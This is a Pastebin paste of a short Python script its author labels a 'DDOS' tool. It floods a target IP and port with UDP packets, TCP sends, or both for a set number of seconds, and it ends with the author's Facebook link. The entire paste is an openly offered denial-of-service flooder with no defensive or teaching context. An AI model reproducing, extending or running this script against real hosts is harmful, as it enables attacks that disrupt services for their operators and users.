Advertisement
TP2K1

TP2K1.py [Python]

Jun 24th, 2015
956
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.67 KB | None | 0 0
  1. #Script By TP2k1 !
  2.  
  3. import socket
  4. import math
  5. import sys
  6. import threading
  7. import random
  8. import re
  9. import urllib
  10. import ssl
  11. import multiprocessing
  12. import time
  13. import getopt
  14.  
  15. def help():
  16. print("Script DDOS by TP2K1: TP2K1.py <methode>")
  17. print(" udp <ip> <port> <temps>")
  18. print(" tcp <ip> <port> <temps>")
  19.  
  20. def finddos():
  21. global on
  22. on = False
  23.  
  24. if len(sys.argv) == 1:
  25. help()
  26. elif len(sys.argv) == 5:
  27. methode = sys.argv[1]
  28. ip = sys.argv[2]
  29. port = int(sys.argv[3])
  30. time = int(sys.argv[4])
  31. if methode == "udp":
  32. print("UDP: " + str(ip) + ":" + str(port) + " " + str(time) + "sec")
  33. udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  34. on = True
  35. timer = threading.Timer(time, finddos)
  36. timer.start()
  37. while on:
  38. udp.sendto(b"DarthnetWorks",(ip, port))
  39. elif methode == "tcp":
  40. print("TCP: " + str(ip) + ":" + str(port) + " " + str(time) + "sec")
  41. tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  42. tcp.connect((ip, port))
  43. on = True
  44. timer = threading.Timer(time, finddos)
  45. timer.start()
  46. while on:
  47. tcp.send(b"DarthnetWorks")
  48. tcp.close()
  49. elif methode == "patator-ip":
  50. print("Patator-ip: " + str(ip) + ":" + str(port) + " " + str(time) + "sec")
  51. udp = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  52. tcp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  53. tcp.connect((ip, port))
  54. on = True
  55. timer = threading.Timer(time, finddos)
  56. timer.start()
  57. while on:
  58. udp.sendto(b"DarthnetWorks",(ip, port))
  59. tcp.send(b"DarthnetWorks")
  60. tcp.close()
  61. else:
  62. help()
  63. else:
  64. help()
  65. print("FaceBook : https://www.facebook.com/ngociue.3615")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement